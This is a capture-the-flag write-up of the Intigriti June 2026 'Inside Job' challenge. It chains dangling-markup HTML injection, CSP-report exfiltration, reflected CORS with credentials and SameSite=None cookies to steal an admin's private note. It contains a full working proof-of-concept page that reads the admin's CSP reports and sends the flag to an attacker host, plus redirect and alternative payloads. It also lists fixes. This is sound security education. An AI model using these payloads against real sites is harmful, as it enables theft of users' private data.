Introduction
Hello,
This is my writeup for the Intigriti June 2026 XSS challenge.
The challenge was hosted at https://challenge-0626.intigriti.io and the app name was Inside Job.
At first it looked like a normal private notes app. You can register, login, create notes, search notes, and report a path to the admin bot.
But the goal was not just alert(1).
The real goal was to read the admin's private note. The flag was inside that note.
So the main question was simple:
Can I make the admin browser leak its own note?
The answer was yes, but not with normal XSS. The page had a strict CSP, so JavaScript was blocked. The trick was to use the CSP report itself as the leak.
What the app had
After login I saw these main endpoints:
/notes- create and view private notes/search- search notes by title/report- submit a same-origin path for admin bot/csp-report/<user>- CSP reports are stored here
The admin bot was logged in as admin. It would visit any path I submit to /report, but the path had to start with /.
So I could not directly send the admin to my own website.
I had to first make the admin visit something on the challenge site, and then from there continue the exploit.
The important CSP
The interesting page was /search.
It returned this CSP header:
content-security-policy: default-src 'none'; script-src 'nonce-...'; style-src 'nonce-...'; form-action 'self'; base-uri 'none'; report-uri /csp-report/ad3sh22217
This CSP is very strict.
In simple words:
- no image loading unless allowed
- no fetch or XHR
- no attacker script
- no inline event handlers
- no external form submit
- no base tag trick
So if I inject HTML, I still cannot just do:
<script>alert(1)</script>
It will not run.
But one thing is still allowed by the browser.
When CSP blocks something, the browser sends a report to report-uri.
That means if I can put secret data inside a blocked URL, the browser will send that blocked URL to the server as a CSP report.
And boom, CSP becomes the exfiltration channel.
Bug 1: I could control where CSP reports go
The /search page had an owner parameter.
Normally it used my username in the CSP report URL:
report-uri /csp-report/ad3sh22217
But when I opened:
/search?owner=admin
the CSP changed to:
report-uri /csp-report/admin
So the owner parameter was going directly into the CSP header.
This means I could decide where the browser sends the CSP report.
For the admin bot, I wanted:
/csp-report/admin
because later I wanted the admin browser to read that same report bucket.
Bug 2: description was HTML injection
The /search page also had a description parameter.
It was placed inside a meta tag:
<meta name="description" content="Notes search - DESCRIPTION_HERE">
But it was not escaped.
So if I used this:
description="><img src=/zz>
then the page became:
<meta name="description" content="Notes search - "><img src=/zz>
My " closed the attribute.
My > closed the meta tag.
After that, my HTML started running as real HTML in the page.
This was not JavaScript execution, but it was still HTML injection.
Bug 3: q was raw in one place
The q parameter was used for search.
It appeared in two places.
Inside the input box it was encoded:
<input id="q" name="q" value="aa'>">
That is safe.
But when there was no search result, the same value was printed raw:
<p>aa'> not found</p>
This was important because I needed a real single quote ' later in the HTML.
That quote was going to close my dangling src attribute.
Bug 4: Search miss still showed the notes
This was the main thing that made the flag reachable.
When search did not find anything, the page still showed the user's notes first.
Then after the notes, it printed the not found message.
It looked like this:
<article class="note">
<strong>Flag note title</strong>
<p>INTIGRITI{...}</p>
</article>
<p>aa'> not found</p>
For my account this only shows my notes.
But for the admin bot, it shows admin notes.
So if admin opens /search, the flag note is inside the HTML page.
Now I just needed a way to make the browser put that HTML into a URL.
The trick: dangling markup
The payload was small.
For description:
"><img src='/zz?d=
For q:
aa'>
So the final search URL was:
/search?owner=admin&q=aa%27%3E&description=%22%3E%3Cimg%20src%3D%27%2Fzz%3Fd%3D
Now see what happens.
My description creates this:
<img src='/zz?d=
Notice one thing.
The src starts with a single quote, but I never close that single quote.
So the browser keeps reading the page as part of the src value.
It reads:
- the end of the head
- the body
- the search form
- the admin note
- the flag
- everything after it
Then finally it reaches this line:
<p>aa'> not found</p>
That ' closes the image src.
So the browser thinks the image URL is something like:
/zz?d=<html from the page>INTIGRITI{...}<more html>aa
The flag is now inside the image URL.
But the image is blocked by CSP because default-src 'none' is active and there is no img-src.
When the browser blocks it, it sends a CSP report.
That CSP report contains the blocked URL.
So the report contains:
/zz?d=...INTIGRITI{...}...
This is the main idea.
I did not need JavaScript on the challenge site.
I made the browser parser put the admin note inside a blocked URL, and then CSP reported that URL.
Bug 5: CORS allowed reading the reports
Now the flag was stored in /csp-report/admin.
But normal users cannot read it.
When I tried to read /csp-report/admin with my own account, I got:
{"error":"forbidden"}
So reading reports was admin-only.
But the endpoint had bad CORS headers:
access-control-allow-origin: https://evil.example
access-control-allow-credentials: true
It reflected my Origin header and allowed credentials.
That means if the admin browser sends a request to /csp-report/admin, the server will return the admin data.
And because CORS allows credentials, JavaScript on my own website can read the response.
So I did not need to be admin.
I just needed the admin browser to make the request for me.
Bug 6: Cookie was SameSite=None
The session cookie was:
set-cookie: session=...; Secure; HttpOnly; Path=/; SameSite=None
HttpOnly only stops JavaScript from reading the cookie.
It does not stop the browser from sending the cookie.
And SameSite=None means the cookie is also sent in cross-site requests.
So from my attacker website, inside the admin browser, I could do:
fetch("https://challenge-0626.intigriti.io/csp-report/admin", {
credentials: "include"
})
The admin cookie goes with the request.
The server sees admin.
The CORS header allows my site to read the response.
And I get the flag from the CSP report.
Getting the admin to my page
There was one more problem.
The /report endpoint only allowed same-origin paths.
So I could not submit:
https://ATTACKER/reader
But I could submit a /search URL with HTML injection.
So I used description to inject a meta refresh:
"><meta http-equiv="refresh" content="0;url=https://ATTACKER/reader">
The admin first visits the challenge site.
Then the meta refresh sends the admin browser to my page.
CSP does not block this meta refresh navigation.
After that, my page does the rest.
Full PoC
Host this page on your server:
<!DOCTYPE html>
<html>
<body>
<iframe id="f" style="position:absolute;left:-9999px"></iframe>
<script>
var CH = "https://challenge-0626.intigriti.io";
// Step 1:
// Open the search page inside admin browser.
// This creates the dangling image URL and stores the CSP report.
document.getElementById("f").src =
CH + "/search?owner=admin" +
"&q=" + encodeURIComponent("aa'>") +
"&description=" + encodeURIComponent("\"><img src='/zz?d=");
// Step 2:
// Read the admin CSP reports using admin cookies.
var iv = setInterval(function () {
fetch(CH + "/csp-report/admin", { credentials: "include" })
.then(function (r) { return r.text(); })
.then(function (t) {
var m = t.match(/INTIGRITI\{[^}]*\}/);
if (m) {
clearInterval(iv);
new Image().src =
"https://ATTACKER/FLAG?v=" + encodeURIComponent(m[0]);
}
});
}, 1500);
</script>
</body>
</html>
Then login as any normal user and submit this path to /report:
/search?owner=admin&q=z&description=%22%3E%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttps%3A%2F%2FATTACKER%2Freader%22%3E
Decoded version:
"><meta http-equiv="refresh" content="0;url=https://ATTACKER/reader">
Flow is:
- Admin bot opens the reported
/searchpath. - My meta refresh sends admin to
https://ATTACKER/reader. - My page loads the search payload in an iframe.
- Admin note gets swallowed into
/zz?d=.... - CSP blocks the image and stores the blocked URL in
/csp-report/admin. - My page reads
/csp-report/adminwith admin cookies. - I extract
INTIGRITI{...}from the response.
And boom, flag.
Why this worked
This worked because multiple small issues were connected together.
One issue alone was not enough.
The full chain was:
ownercontrolledreport-uridescriptiongave HTML injection in the headqgave me a raw closing quote after the notes- search miss still rendered the admin notes
- CSP reports stored the blocked URL
/csp-report/adminhad bad CORS- cookie was
SameSite=None
The strict CSP stopped normal XSS.
But the same CSP also created the only channel that leaked the flag.
That was the fun part of this challenge.
Other payload ideas
I used:
<img src='/zz?d=
But other blocked resources can also work.
For example:
<link rel=stylesheet href='/zz?d=
<object data='/zz?d=
<embed src='/zz?d=
The idea is always the same.
Start a URL, do not close the quote, let the browser swallow the page, then close it later with raw q.
I used <img> because it is short and simple.
The Flag
INTIGRITI{019ea42e-f5af-76ea-85d7-7459d17736ce}
Fix
The fix is simple:
- escape
description - escape
qeverywhere - do not build
report-urifrom user input - do not reflect any random
OriginwithAccess-Control-Allow-Credentials: true - make
/csp-report/<user>readable only by the correct owner or by admin for internal use - avoid
SameSite=Noneunless it is really needed
If any one of these was fixed, the full chain would break.
Thanks to Intigriti and xhalyl for the challenge.
